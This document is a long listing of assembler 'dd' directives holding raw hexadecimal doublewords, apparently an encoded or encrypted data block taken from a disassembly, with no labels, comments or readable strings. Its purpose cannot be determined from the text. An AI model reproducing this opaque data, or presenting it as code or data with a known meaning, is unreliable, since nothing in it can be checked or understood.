		dd 2847F9Fh, 29003C80h,	2E6A1CC7h, 3A681783h, 8F08A090h
		dd 0C23E5A05h, 0ECEC5080h, 6A6A0480h, 8B6457Fh,	0C2859C90h
		dd 0CCEEEC8Fh, 17973480h, 76100035h, 8BEF4780h,	0FE00943Bh
		dd 0DA008901h, 38D3090h, 6210EEDCh, 0CCFF6D73h,	71207803h
		dd 0F5080A7Ch, 78D7540h, 5E10E3C5h, 0D68B6F73h,	810C709h
		dd 0AA5740C7h, 8E012883h, 6436617Fh, 0E283C090h, 0FDC009A0h
		dd 0BE02C704h, 8A6AB380h, 5668F1EAh, 4A80BC84h,	0EE018880h
		dd 8436C17Fh, 46852090h, 5082688Fh, 1E6AB880h, 0EA00ECD0h
		dd 0B66A5084h, 0D50CF441h, 2650E9EAh, 1A01B481h, 0D836157Fh
		dd 0B8684C90h, 81001980h, 5A3ED215h, 16055880h,	0B3E97C80h
		dd 0C4004882h, 70E34D80h, 0D3FFEAEAh, 1210922Ah, 5DC3896Bh
		dd 0BA3E123Dh, 0F20F1080h, 4200DEB4h, 0E00AE68h, 9E543A80h
		dd 59000CCCh, 623E7E15h, 0E8B55580h, 3900B497h,	68BDFD49h
		dd 13002CBEh, 1BE89B8Eh, 0B900D482h, 163E523Dh,	560F6C80h
		dd 9E003A80h, 54C2810Bh, 46FFD090h, 0D9851381h,	450078B8h
		dd 8A3EEE05h, 6770FF80h, 0B28490Fh, 7B8B9890h, 0CA105A46h
		dd 1901407Fh, 7239D305h, 0E48D4380h, 190084BEh,	0C7719F9Ah
		dd 0AB3CA90Fh, 0D38BF890h, 2A10FA52h, 87FF9963h, 8B85D381h
		dd 660038B9h, 5A00F538h, 19487D0Dh, 3D8B8C90h, 67F658EAh
		dd 904547Fh, 166AF361h,	48574583h, 6318E280h, 0AA15B735h
		dd 86199980h, 568DEC80h, 0E1FF46CDh, 67ABE27Fh,	0B6001D84h
		dd 29661C80h, 0E504AF0Dh, 8F8D50B2h, 0E610BD74h, 0B0892A2Ch
		dd 0BC83B3E6h, 0C1F50682h, 7E00DA54h, 0E2000E6Ch, 0AE6A840Bh
		dd 7A6AD00Bh, 4600E0E8h, 4340C688h, 8E0E12D2h, 94CED17Fh
		dd 0F5581090h, 0AE689C44h, 8500A8F2h, 51001E54h, 0CC402A4Ch
		dd 20026680h, 0D268D8EAh, 6000A4F2h, 296A2180h,	7495C3D0h
		dd 310018BEh, 35FF51D9h, 601A704h, 0D2B5E180h, 27002890h
		dd 6A00083Bh, 93F33F0Bh, 12007101h, 4B8D6890h, 9A1020C2h
		dd 3250E07Fh, 0CD6AECEAh, 0C0DE0D7Fh, 0A856490h, 7E3445DFh
		dd 6200FDCFh, 2E00D968h, 0BE65C780h, 0A17502E5h, 0E4695ED0h
		dd 396594E9h, 0C257C4E5h, 0F60095D0h, 804CE97Fh, 1BFF2890h
		dd 5A10CAE2h, 953FD7h, 98009CBEh, 41023280h, 9A3E7215h
		dd 57284980h, 997BC80h,	0CA0C0161h, 2FFF03D4h, 86101E1Ah
		dd 0F7831AB3h, 1E1087B6h, 1557D080h, 0A63ECE15h, 0F6C09980h
		dd 0B083AEE6h, 0E5EEC684h, 8C08A4F4h, 4D2A2680h, 6E3E8E15h
		dd 3EC06180h, 9EE8235Ch, 0D1007C85h, 94E3D949h,	453691B9h
		dd 7475E090h, 3624D001h, 0AD720BE3h, 6B816CF4h,	76001E27h
		dd 145088D0h, 5D50F8D1h, 0E44EE17Fh, 66854090h,	8D0F78D9h
		dd 0B108FCF4h, 1A3F9205h, 2BC59880h, 5D53C37Fh,	7E3E2E15h
		dd 0BB8E3F80h, 6018844h, 47FF3B80h, 9E1006A6h, 5426917Fh
		dd 0F6E9D090h, 2FF637Bh, 0A40002DAh, 0F0005E80h, 66016880h
		dd 0F68BCC84h, 945098EAh, 35C4EF8Ch, 0C9786662h, 5100FCB4h
		dd 0D1DA2049h, 6F8D6B7Fh, 0C61075D1h, 0C2517DD2h, 602A6D7Fh
		dd 0EE83C490h, 98B53A0h, 0C25804D8h, 8E001A6Ch,	5A00FAEBh
		dd 2600C081h, 0F2008C80h, 0BE005880h, 8A000D04h, 5600F080h
		dd 0DD53EAD1h, 0FE3EBA15h, 1659FF80h, 7D75E004h, 0DFC30262h
		dd 0E19C515h, 7FFFD680h, 0B6106E0Ah, 0C04C9909h, 58E8E890h
		dd 5600B480h, 936BEFEFh, 0DB721CF0h, 1B6C71F6h,	2B5681E7h
		dd 5765C5ECh, 77FF2C80h, 0AE1076B2h, 38509109h,	1AC3E090h
		dd 7773CDC2h, 0BB6D19CEh, 0C0620BE4h, 57473E5h,	11748ADCh
		dd 0E74CBE5h, 0A87407ECh, 0A66E25ECh, 13657EC3h, 5746BDF4h
		dd 0A41C1ECh, 0B76502C3h, 0CB4659F4h, 0F4D6DECh, 5469A4F0h
		dd 4500E1E7h, 0A66109F2h, 0F17268E5h, 197361E3h, 4443D0C1h
		dd 6774FDE5h, 0A16D0DD2h, 0F25451F4h, 26165F2h,	57728F80h
		dd 0AA65ECE1h, 0AB6516E8h, 0E44330E4h, 7749DE5h, 426FA7D4h
		dd 8A6CF1E8h, 0A85352B3h, 0FA735CE1h, 1B008CEFh, 7E74ADF8h
		dd 9765E2E8h, 0AB465CE4h, 0E7544DECh, 355491EDh, 5273B9D3h
		dd 9B54E1E5h, 0F8003DEDh, 0C66541F2h, 377292E9h, 6500C5F2h
		dd 8746FCE5h, 0CE4131ECh, 0E46952F4h, 216598F5h, 7B47B8C1h
		dd 8669C2F4h, 0CC6903E5h, 0E7471CE5h, 2269AEF4h, 7769E0E5h
		dd 834780E5h, 0D66F01F4h, 366574F5h, 26648AE1h,	5100F1E5h
		dd 875408E5h, 0C74638EDh, 1B4E71ECh, 464185EDh,	4674C9C7h
		dd 8E7015E5h, 0EB6830E1h, 2655780h, 3172B9D6h, 0E6EC7E9h
		dd 8C7411C7h, 0CF7332E5h, 0A4562EFh, 5B47D8C1h,	666FF2F4h
		dd 9F651DF5h, 0D06F5AEEh, 77469EDh, 3A41BAEFh, 6261CFCCh
		dd 0A06205CCh, 0DF794AE1h, 1A614980h, 4165B9D6h, 6B46FACFh
		dd 81000DECh, 0DC6E51F0h, 2B656CE9h, 5B70BCE1h,	0FE41FFEEh
		dd 0A46514CFh, 0F56F42D0h, 62738FE5h, 4D6FBAD0h, 0C973E7E5h
		dd 0B46926B2h, 0C20058F3h, 3B6397F2h, 1833B7F3h, 8278F5CEh
		dd 0B6650F80h, 0EB6C41C6h, 287480C1h, 5275A2E9h, 0F241FFE5h
		dd 0F8743DD3h, 0DE6548E9h, 56659DE9h, 4765D0D3h, 975388F0h
		dd 0D76520F3h, 0E36D49D4h, 3B4683D4h, 7754DDECh, 0BF00E1EDh
		dd 0C6613DEEh, 0F56575D6h, 27468ECFh, 4C00D1ECh, 9374F2E9h
		dd 0DE4120E1h, 7E6377ECh, 3E6996D7h, 7A69F6E5h,	964E7CE5h
		dd 0DB6A2CC1h, 85060F3h, 2A6996E9h, 6165CBE5h, 0BB6B17D4h
		dd 0DE4E44EEh, 176562C3h, 2B46B9F4h, 4000CDECh,	0BF7237F4h
		dd 0F66534E1h, 176363F2h, 7000ABF3h, 6F72E7F4h,	866504E1h
		dd 0C76353F2h, 16457BF3h, 79749A80h, 7261C5F2h,	0B1653FE5h
		dd 0F06F51F4h, 29744A80h, 4261B5F2h, 6773C9E5h,	0A17238F2h
		dd 0E97351E3h, 2B744E80h, 5B56BCE1h, 984FEFE5h,	0BE6301D3h
		dd 966E5FE9h, 124F88CEh, 4746A6E5h, 0B400F1ECh,	0A3702FF4h
		dd 0FD727CEEh, 2D739DE3h, 4F6BABD4h, 824E90EEh,	0AC652CCFh
		dd 0FA634DD3h, 5A6E9BE9h, 5450B4CEh, 9165F8EFh,	0CC690EF4h
		dd 0E66151F4h, 396D95CDh, 6C00C5F2h, 8B75D9F4h,	0D4492DF2h
		dd 0EB724FE6h, 3D6998E1h, 756FECEEh, 0A400EAE5h, 0DF7207F4h
		dd 0EB5679F4h, 2F759CF2h, 7765F9ECh, 0E679F2EFh, 0E76C38D2h
		dd 116371EEh, 3E5381E4h, 716ED9F2h, 8C4113D4h, 0DA5321F3h
		dd 1D6E7DF2h, 753B780h,	6061D8D3h, 0DE700DF4h, 0D96F28E3h
		dd 156F63E5h, 4274B9EBh, 606EC7E3h, 0DA7417E5h,	0CE7425E7h
		dd 10747FEFh, 5361B6F9h, 6F72A4E5h, 0A50006E3h,	0A26452E5h
		dd 56367F3h, 7300A0E5h,	7465D4EEh, 917409EEh, 0FB7357ECh
		dd 0E6E65C8h, 7F00B5ECh, 7065E8EEh, 89740DEEh, 0F54340E5h
		dd 5656EEEh, 6164A9F4h
		dd 9B74F9F4h, 0BE6E2D80h, 0F36E42E5h, 770B3F4h,	670089EEh
		dd 8865E0EEh, 897405EEh, 0C76E49F0h, 5E4194F2h,	4F74AAC9h
		dd 8265FEF2h, 0A66139D2h, 0EB6C41C6h, 0C44B580h, 154990C1h
		dd 0BE44A2B2h, 0DB5258CCh, 0E56C67E7h, 334B95F3h, 4752BCF9h
		dd 8B70C7E7h, 0C3651FEEh, 864158C5h, 36789D2h, 6772DDF5h
		dd 9F6CE5D6h, 0F77815E5h, 0E5654E80h, 18748DD3h, 7F75D8E1h
		dd 0E641F8C5h, 0D8F67FD6h, 0F5564E82h, 18018E54h, 4018C27Fh
		dd 0A050E97Fh, 6A8B4890h, 2A5642D6h, 5E701FD6h,	2CBE397Fh
		dd 1A837890h, 0A2C21A90h, 8D499D80h, 2A5114ABh,	0E600A880h
		dd 0D924380Dh, 0A36A40EAh, 18535CD1h, 6ECC5385h, 5E50700Bh
		dd 845130EAh, 4495C3D3h, 0ED0018BEh, 0AFFFD844h, 6109E6Eh
		dd 1108A803h, 0A3F4AD0Dh, 0A3330490h, 5E52D0EAh, 2329CB0h
		dd 9F51AC0Bh, 0CB5074EAh, 0A68318EAh, 3C6A9888h, 1C9567D0h
		dd 490074BEh, 44331044h, 0FB0F3C05h, 76DA3F42h,	0ADC356A3h
		dd 7E89FB3h, 9DFFD37Fh,	5E005D04h, 0C6689480h, 7D0090F2h
		dd 49003654h, 0E640424Ch, 5A10F480h, 4C52C2EAh,	80ECE480h
		dd 0BE6A5880h, 755077D1h, 463E2615h, 0DD59E380h, 0FE3EAE15h
		dd 0CEFFD180h, 0E8DABF1h, 0B100FC95h, 1E95358Ch, 0E9009490h
		dd 49530751h, 40859752h, 0C300F8BEh, 1A286E0Fh,	192B6880h
		dd 378BB37Fh, 7E10265Ah, 63276B0Dh, 0CE8B080h, 69FF837Fh
		dd 0BE3E8E05h, 548F9980h, 0AE00E0A9h, 0EDFF5389h, 0E0CAFD0Bh
		dd 6A854490h, 0F98D30F4h, 4200F5BBh, 0F1FE5C68h, 885FF7Fh
		dd 230050BEh, 0FF0B7840h, 3E29900Fh, 0F4DF4C80h, 118B8F7Fh
		dd 4A55FFDFh, 6E000880h, 26ED55DDh, 3500B09Bh, 7585E149h
		dd 0CF00289Eh, 3A5155D4h, 0A3FF81D1h, 210A2D2h,	31246C07h
		dd 8A3E1215h, 62C25D80h, 32E89980h, 0A3009880h,	0D14B8901h
		dd 696A3090h, 7916690Dh, 7C50C890h, 0FA24B44Dh,	28360AAh
		dd 17C74A8Ch, 5E10E3DCh, 0AFC7E44Dh, 0F6108BDEh, 0C22A5CA4h
		dd 946AEBDDh, 5A091CD8h, 648DC080h, 3BFE26E1h, 0D7C3A8F5h
		dd 9A3F6415h, 5E84F580h, 0B789FE88h, 0EE10B7C0h, 0EFC3B677h
		dd 86002068h, 0BF81B180h, 1E10A325h, 0D544190Bh, 0CA835090h
		dd 8D0014A4h, 4E005104h, 12EC3580h, 0B2008082h,	0B20148E8h
		dd 495E780h, 0C100F4BEh, 32843D7Ch, 0E2007D84h,	460022D0h
		dd 7A001484h, 4652B2D6h, 649553D7h, 0ED0068BEh,	0AE97C949h
		dd 27001081h, 1302B6D1h, 0E68A9EAh, 88407480h, 9842D57Fh
		dd 0F7960C90h, 6E5BAC76h, 0B04CCD4h, 29577080h,	0A0201834h
		dd 0FBFF0880h, 3A10EBA2h, 72C025D9h, 82148F96h,	9E6AEC0Bh
		dd 3C5755D2h, 8BA457Fh,	87599C90h, 98D01D40h, 0A426A17Fh
		dd 318D0090h, 58579EC4h, 698DC0C4h, 0CA006584h,	0FCC0032Bh
		dd 0C9F3A590h, 7E5098D0h, 0A850C4D0h, 0F84AF57Fh, 56812C90h
		dd 5E00FA88h, 2224B07Fh, 0C912057Fh, 3D535C90h,	9E3F3A15h
		dd 5EC2A980h, 2C3E4080h, 79468DF5h, 0AE15DC0Dh,	719C780h
		dd 4610F015h, 74D1BF80h, 2E845A7Fh, 0BB1FDC8Fh,	20F2080h
		dd 5200ED90h, 6B3A8600h, 0D480C290h, 0B7845F80h, 2001C81h
		dd 0BF75C8BEh, 4A3E35C6h, 9347CEC9h, 74CFC7C2h,	554F19C6h
		dd 4A6AB54Eh, 0E953E6D1h, 0F23F7615h, 6F3B1180h, 7ADF918Fh
		dd 0C38DE080h, 1210B21Bh, 0D26878EAh, 0FA004480h, 7C95EFD3h
		dd 7F00CCBFh, 0E00A88Ch, 0DABFF18Fh, 17E94080h,	0F3000C80h
		dd 775288BEh, 0AF85ABD6h, 55007080h, 9EAC3446h,	0F784078Dh
		dd 600D480h, 0AAF3D5A0h, 570F56BCh, 9E00380Ch, 4A20092Dh
		dd 173DF0A0h, 7774F9E7h, 0EE3CC4FFh, 0E48148F5h, 1268207Fh
		dd 0B371B9F4h, 0C4709BFEh, 0A2754BAFh, 96FF7746h, 72BACD8Fh
		dd 0D900C8A7h, 6FFFC662h, 0C6105E2Ah, 0C250ECB3h, 57E8A8D0h
		dd 6E00C480h, 9A6EE7EFh, 0C2643DEFh, 0B11ABD7Fh, 9A85F490h
		dd 0EF33F6F4h, 0CD440909h, 0D6515890h, 0A002680h, 656A1D1h
		dd 1D1E297Fh, 7B8D8890h, 0BA104F1Fh, 0D2C913D0h, 352BCD1h
		dd 4C9547D1h, 6D0094BEh, 23FF7484h, 821022A6h, 0C3802B78h
		dd 1A10A1F7h, 8CC37981h, 4D012681h, 7A73E7B3h, 8A85F17Fh
		dd 0CD33EAF4h, 0E9B3AC0Bh, 233C1883h, 6A1DD735h, 4ABA6B80h
		dd 9900AC81h, 0DE01700Ah, 81F84780h, 0BD8B704Bh, 36617A73h
		dd 0FBE2EF85h, 1D835A6Bh, 6A8B138Fh, 22D487D7h,	6F40B2D4h
		dd 0F5FFCED2h, 0C63E9615h, 0F88DB780h, 0ED0018BEh, 0F52BD844h
		dd 0C1074903h, 3A000687h, 9D4FB180h, 2C4F5743h,	644187D4h
		dd 6B4DC0C5h, 0BD6F1AE3h, 0C67452EFh, 26E69D7h,	6E73BBEFh
		dd 8C72EDC3h, 9C740AE5h, 0FF7342E5h, 275C92EFh,	416CB8F8h
		dd 0FA72F1F2h, 0A17201D4h, 0FD4858E5h, 5C008CF3h, 7F50C480h
		dd 86D01FF2h, 0AB7833F2h, 0FC6906EDh, 366193E3h, 879B8E1h
		dd 0BC00E0F0h, 9E4B1BC9h, 0F36645F6h, 216E88E3h, 6753E98Ah
		dd 0A478A8D2h, 9A4E1DCFh, 0F46956A6h, 70A99F4h,	1E00B868h
		dd 781D980h, 0B6104E2Dh, 97779946h, 0B100E890h,	0A3ECA15h
		dd 0F9E84180h, 0AC6A70F4h, 4036AD0Bh, 0E659E490h, 3C759EBCh
		dd 1D3EFDE6h, 23233D9Dh, 6A3F2E3Dh, 44766B80h, 0B76609D7h
		dd 0E6B0FD0Dh, 2F8F4490h, 76102856h, 0B846557Ah, 0F5FEE60Ch
		dd 15E27531h, 87E8106Bh, 0F1FFF37Bh, 3A08FCFCh,	2E8E0F5h
		dd 85007080h, 0E62E7FC6h, 910044CCh, 2A3E5E15h,	72C0AB80h
		dd 0D06AFF8Dh, 0AC95C7D3h, 950014BEh, 0A1E84350h, 0EAFF637Eh
		dd 0CE00688Bh, 0C54372D3h, 222E53CFh, 0CD0080CCh, 0EE3E1215h
		dd 347C8C80h, 96E8CF7Fh, 9DFF0376h, 3E12140Dh, 77C9A780h
		dd 0D6428805h, 0C3517D80h, 0F51A8D1h, 0AC953BD1h, 1E0080BEh
		dd 0C2005C8Bh, 0DC457BD5h, 1E2EC6B3h, 0D9008CCCh, 0E23E0615h
		dd 0BE0AB080h, 0F9772480h, 386982F0h, 2241DAF4h, 0DC9577D0h
		dd 330044BEh, 963E1A05h, 0DF31E380h, 0E19C50Dh,	0AA850D80h
		dd 0E70040BFh, 0BC8A897Fh, 2693E890h, 1A00B484h, 0FF8A350Dh
		dd 3F594C90h, 6E3F3E3Dh, 0BFC20C80h, 0D1664F7Fh, 0F21E1105h
		dd 2D504880h, 6A1E7B25h, 0D38DE080h, 1210B2ADh,	0DF6A2CD0h
		dd 0C25244EAh, 0F6001082h, 7D2A497Fh, 0CE85A890h, 572201DAh
		dd 0B61E200Dh, 746A5E80h, 206D6D0Dh, 5C54A490h,	845120D0h
		dd 9D2EA97Fh, 91580890h, 2A3FF215h, 41856680h, 0D2007CC1h
		dd 9E003468h, 25535380h, 4339BC3h, 4E4CD8AEh, 44959780h
		dd 90024BEh, 660007E8h,	0D3B54180h, 0A7008898h,	0F4F6D90Dh
		dd 0ABE83090h, 8AFF0375h, 2E00C88Ch, 0B34EDDD7h, 0E85425CEh
		dd 924C60C4h, 608A6D7Fh, 0EA85C490h, 0F435148Fh, 0AA935C80h
		dd 8E002885h, 431F410Dh, 0AB59C090h, 0E23F9E3Dh, 4B06B080h
		dd 3783DB7Fh, 5610CF96h, 3284B380h, 6F008882h, 0BA01C46Ch
		dd 87687480h, 0AD00EC81h, 0E3E4E15h, 7AC40580h,	0E6005081h
		dd 826AC80Bh, 589517D2h, 9F00A4BFh, 0EB75D940h,	0B213C4E8h
		dd 0D495E780h, 0A100F4BEh, 79BD3362h, 0E2006C9Eh, 2B8D61F5h
		dd 7A100AF3h, 44951FD0h, 9700BCBFh, 57847740h, 21004481h
		dd 768B1CC0h, 0C78FEC7Fh, 0E10B6EFh, 9B47F146h,	0CC014090h
		dd 18016680h, 30952782h, 8900B4BFh, 520F8F78h, 0A2003DE0h
		dd 5958513h, 5000C49Eh,	0F953F290h, 0C23E9215h,	91C0BD80h
		dd 6A014405h, 0BABD5D80h, 0B3008C9Eh, 343C8088h, 0E68CB7Fh
		dd 38000080h, 6892AABh
		dd 6BFFCCA4h, 0CA105A02h, 889A8D0Dh, 63B1FC90h,	0D1FAD568h
		dd 7D95197Fh, 0AC00709Eh, 92144480h, 0D52F880h,	150A517Fh
		dd 0B28D9090h, 578D48A4h, 8E106A68h, 50B6FBD0h,	3224840Bh
		dd 0F0086C41h, 0F41259CAh, 894A3682h, 5E24B48Bh, 0E30F5D00h
		dd 0E5518060h, 451070C4h, 3B8D70B2h, 5210D3C8h,	1E00A468h
		dd 0DC2EA180h, 962E70F8h, 0A73A3CAEh, 762ECDA5h, 3A7891F8h
		dd 0AC0AF3A5h, 924E05CFh, 0EBFF4F80h, 4A10DABAh, 16AC7401h
		dd 0E26A7C80h, 51531FD0h, 6A3F1E15h, 0D68D6B80h, 7800BC95h
		dd 0B51B9B80h, 42514949h, 76001085h, 4864F9A6h,	9BFFFF80h
		dd 0DA104ABAh, 0F60C8403h, 7568076Bh, 0B300D880h, 1A1E043Dh
		dd 29532780h, 0B23F3615h, 10C08D80h, 72B559D4h,	8500B0BFh
		dd 0C215FC25h, 138D3880h, 6A1045C7h, 366A1EABh,	0FD53CAD1h
		dd 0DE3F6E15h, 9AF8B780h, 0ED912FFEh, 7AB5417Eh, 4E0088BFh
		dd 0BFAE968Dh, 0BCE85090h, 3FF037Ah, 27E3DFF2h,	1101E30Dh
		dd 0EDCFEB6Ah, 0DABDA14Eh, 0AD00E8BFh, 0C1F74324h, 63FFC339h
		dd 0C210627Ah, 9B779500h, 2E01F490h, 5330A8AAh,	67FF8C80h
		dd 0BE10662Ah, 0CB479900h, 2200F090h, 4D857B91h, 0EE00989Eh
		dd 7C005480h, 96416705h, 5AE9EC80h, 0D9FF477Eh,	0FA150405h
		dd 0B6005080h, 86C24100h, 10AE580h, 756FDAA0h, 806FA0EEh
		dd 0D46920A0h, 312039E5h, 276990A0h, 797490E5h,	8E651FA0h
		dd 0CF722AE5h, 772171F4h, 6620C08Ah, 324F8CA0h,	0B36D0DF3h
		dd 0CD2036E5h, 136462E1h, 480DFDEEh, 6B6CCDD2h,	0BF6C00EEh
		dd 0DF6C33F3h, 26164A0h, 5F20A1F0h, 6F20C0EEh, 0B56500F8h
		dd 0D66E5DF4h, 1A7328ACh, 5364BAE1h, 263AC7EEh,	850A61ADh
		dd 0F6634CE1h, 4A676AE9h, 166CBCE1h, 2279FDE4h,	0EE6406E1h
		dd 0F2675DEEh, 202CF4h,	5420BEEFh, 9065F1F2h, 832017E4h
		dd 0FF6147A0h, 680DC6F4h, 5C65A0D7h, 8861B4E5h,	0A97940E5h
		dd 0F42000F5h, 306591F2h, 0A3FB7E4h, 936DFFC3h,	0B6497CA1h
		dd 0AE7341A0h, 3F6D9DF4h, 5249E0A1h, 9E20FFA7h,	9F652CE1h
		dd 0B0AB7DD7h, 3E55F535h, 270BC634h, 0FEA69CA9h, 0C595854Ah
		dd 8B03D7D5h, 62C76884h, 9D520A68h, 980BBFA5h, 91B1AA65h
		dd 4A9FD080h, 5EA6FC93h, 0F0E6E0Fh, 246C4CDCh, 6AB8FFD2h
		dd 7E001880h, 4A00E480h, 1600B080h, 0E2007C80h,	0AE004880h
		dd 7A001480h, 4600E080h, 1200AC80h, 0DE007880h,	0AA004480h
		dd 76001080h, 4200DC80h, 0E00A880h, 0DA007480h,	0A6004080h
		dd 72000C80h, 32E97B22h, 0B2A527E0h, 0D60060C2h, 0E0BC9903h
		dd 61000890h, 0B7149737h, 0B10FB8D3h, 2036ACBh,	0BA247C0Bh
		dd 180C46ABh, 3E42EB99h, 408B88F3h, 0C2424394h,	0D8B8A109h
		dd 0E3890090h, 32108E3Ch, 3C839D6Bh, 0ABD986A8h, 1E003442h
		dd 7224A305h, 2E642080h, 0DA689480h, 4B006080h,	8223A005h
		dd 4639A180h, 0EA83C8F4h, 9F77284h, 0D242C805h,	57F7EB80h
		dd 7E5F7983h, 36E3C090h, 7DFCFC7Fh, 0BAE8DB80h,	1789D262h
		dd 5610D30Ch, 56008603h, 0ED32A385h, 0F48D44F2h, 0D85B787Ch
		dd 2600D603h, 0F5324784h, 0FA727B83h, 49FF0768h, 0A9CE377Fh
		dd 5E42540Dh, 5103EC80h, 638F43B4h, 0B2100E18h,	3C949D47h
		dd 4A00E490h, 2AE8B080h, 69007C80h, 0BE42DC05h,	8CA9FC80h
		dd 5EE81F7Fh, 9100AC80h, 0CE42EC3Dh, 0A2754480h, 52088D09h
		dd 0DEEBDC90h, 4C94257Fh, 55C37490h, 0B642D805h, 0E6958580h
		dd 0D600C8C2h, 0A00A483h, 5DC3B9B3h, 0A200BC13h, 83E85A80h
		dd 39FF2B7Eh, 16421C15h, 51D66F80h, 910034FAh, 6A010304h
		dd 267A5380h, 0FF849380h, 45006880h, 725038C2h,	99FFFE48h
		dd 70BC4983h, 38039890h, 4A08EED0h, 8F743079h, 162E0500h
		dd 0DFEB8883h, 7B01DC0Bh, 19DFBF61h, 0D6F9AD5Fh, 2B00B4CCh
		dd 0E22B9D6Ch, 0F9FA6903h, 0C200EB0Fh, 0F6814E80h, 5532C77Eh
		dd 26006B05h, 0C883DA80h, 35052D80h, 88EB34CAh,	0A703FA0Bh
		dd 0DC7254D1h, 5B03777Fh, 0BA10163Ch, 0FEC0A52Dh, 0D684E37Bh
		dd 0E100B880h, 0FA423835h, 0E3E80080h, 81FFE37Eh, 5E425405h
		dd 0A6853B80h, 0E50090C2h, 31536884h, 0A5331A40h, 0A908528Fh
		dd 36C93092h, 0C624BDD3h, 8A1C6184h, 212418A9h,	0C7E90BC0h
		dd 0A9D7A37Bh, 5F3E0C5Dh, 0C445EC7Bh, 0F736645Bh, 0E33B857Bh
		dd 8F2EDC7Fh, 6F22A27Bh, 2726342Ch, 2AE99F7Bh, 0BF1EAC73h
		dd 52E9D97Bh, 57160473h, 873F7A7Bh, 0EF0E7C61h,	1F3FE47Bh
		dd 0F906D461h, 0C242F415h, 0EFE96380h, 34FFFB7Fh, 0DF141203h
		dd 0FDFF626Fh, 0CA6A6843h, 6F49DCD8h, 0F388FF7Fh, 3210EAB9h
		dd 0E63120E6h, 2EC08682h, 0F0E23283h, 3A06962Bh, 0D1F5E668h
		dd 0F2C2177Fh, 0C36AB107h, 6721C4D8h, 0A480077Fh, 9A0BB783h
		dd 0CF8592D0h, 68004CA6h, 0E66A0F6Bh, 0A0805ED8h, 9618B583h
		dd 7016491h, 0BFB8A77Fh, 0E002480h, 870D8452h, 0C9CA4260h
		dd 56056376h, 3A005480h, 45BFC22Bh, 6B90790Dh, 0C92BB890h
		dd 1DC35E77h, 0A639D405h, 82001C80h, 8E95E788h,	0EC0B5441h
		dd 0F6390205h, 0B4754D80h, 5B8915E6h, 0CFF6F76Bh, 16108902h
		dd 84060982h, 4525798Dh, 7B0D7284h, 0AEAB86A5h,	0EDFF533Ch
		dd 57343B0Bh, 0BA42E815h, 81C3BB80h, 52395805h,	0E00A880h
		dd 1A957B88h, 4EAAFC84h, 8DFFF31Ch, 7CB04D09h, 8FF6A490h
		dd 0D6104902h, 0AD044981h, 4502E3B1h, 0CDC37F40h, 16392405h
		dd 0D2006C80h, 14274C88h, 7A397A05h, 3DE01180h,	478B91E6h
		dd 36B0C3E6h, 0E485BE2Ah, 0A70010B9h, 5505D760h, 550611E4h
		dd 6166A4B3h, 0F2B8226Bh, 0C900F90Fh, 177E4D0Ah, 0A2049490h
		dd 6D188041h, 685EA43h,	5700E8A7h, 0D6B0E16Bh, 4E66B06Bh
		dd 69665C6Bh, 8A6A316Bh, 0AE091CD8h, 228D3F7Fh,	0FAE04D52h
		dd 7E895DE6h, 89EB8FE6h, 3CAA6030h, 0D2E8E48Fh,	6EFF7773h
		dd 0AA27C005h, 7C802680h, 0D62F9F88h, 0E0C3CC52h, 14C3F04Ah
		dd 48C7244Ah, 7CD9684Ah, 0B00C9C4Ah, 0E40FC04Ah, 560FF44Ah
		dd 2CBA779h, 0A5B0B207h, 0BFB0206Bh, 0EEB0706Bh, 15C3C06Bh
		dd 0BE39CC05h, 7A201480h, 33865080h, 9F04A882h,	7B8A86CFh
		dd 0AA107DFCh, 8A80BBE6h, 0F207A985h, 0F14F2880h, 0B8E8DEC0h
		dd 51FFBF7Fh, 62398805h, 3E40D880h, 6CB8C280h, 620205B1h
		dd 12AB5AA9h, 10850298h, 0FA00C4B9h, 0EEAAA360h, 2DFF93BDh
		dd 1BF7B030h, 6A103D04h, 36005080h, 84B09EF5h, 0F77CCD0Ah
		dd 31663490h, 1305FC00h, 0B2007C87h, 544067CFh,	5ABDE943h
		dd 7E0020B9h, 9DFF038Dh, 17844D77h, 0FA009490h,	0C5747080h
		dd 65AA4C30h, 4E397C05h, 2A00C480h, 4E07E488h, 0C2ECD7D5h
		dd 0BF7672Bh, 5A10CD04h, 2700C083h, 0F2F0088Fh,	56B05880h
		dd 37898F2Ah, 5610B21Ch, 0DDFE7068h, 44E8387Fh,	1ABDDD2Bh
		dd 6E0030C2h, 0ADFF123Dh, 27843D77h, 0EA038490h, 0AC745080h
		dd 0BB849977h, 4E00E890h, 1074B580h, 19FEAE68h,	4C9BA47Fh
		dd 97B0E77Fh, 0CF8B4F2Ah, 1610F21Ch, 2A2BB30Bh,	0ECA4F509h
		dd 32891490h, 2267587Ch, 21AB9A7Fh, 29AB1E40h, 0BA39C005h
		dd 76001380h, 0B413A880h, 1E392A05h, 0D074F480h, 59FDEA68h
		dd 8C5BE47Fh, 59B8277Fh, 0A1262DE4h, 7D66B0B3h,	9B84B977h
		dd 6E030890h, 6074D480h, 3F822576h, 0A7806C90h,	6381D08Ah
		dd 58E8FB7Fh, 0DEFF2F7Eh, 0FDFF6182h, 0DAE84830h, 79FFCB7Bh
		dd 99B866B9h, 0A3ABAA95h
		dd 7A95132Bh, 3D0074B9h, 95C2C752h, 1700FC80h, 0D2DC2094h
		dd 0E5B06B7Fh, 39FA8E68h, 6DB84A7Fh, 0CFAB9E95h, 0A1CF4F2Bh
		dd 0E6423405h, 4BC87780h, 0BF7D4C8h, 5A10CD04h,	2600C083h
		dd 77F7B4F4h, 0BE106104h, 8C002480h, 0D3F7DCF4h, 22108504h
		dd 0EF008880h, 78E85EF5h, 6EFFDF7Dh, 0ADFF11CBh, 27843D77h
		dd 0EA008490h, 0BC745480h, 7DFDB068h, 0B361007Fh, 9FF74B7Fh
		dd 0E610B904h, 0B2004C84h, 0E8E80FF4h, 0F2FF1B7Dh, 0DEFE70A9h
		dd 2208C42Bh, 16AB4CF4h, 1DEBECF5h, 0BB7F082Bh,	97F7537Fh
		dd 0DE104104h, 0AA004488h, 0CB8062F5h, 4210E502h, 0E669DC80h
		dd 25FF89E5h, 8F186938h, 0CA50649h, 0FE00C8B9h,	0AF0AA764h
		dd 0D61049FEh, 5F4BD42Bh, 0DFB0F77Fh, 0B8855E2Ah, 0AC00B0B9h
		dd 2DFD5068h, 1BB6377Fh, 6A103DFEh, 32C0D40Dh, 0AE05DC0h
		dd 6566E530h, 0CDAA3530h, 99FD2068h, 163CE57Fh,	5E220E6h
		dd 4E8593D9h, 860020B9h, 1600FC80h, 84497887h, 752CE6h
		dd 6D668182h, 6DFCD068h, 0F4E8487Fh, 0A3AB04B3h, 0E642183Dh
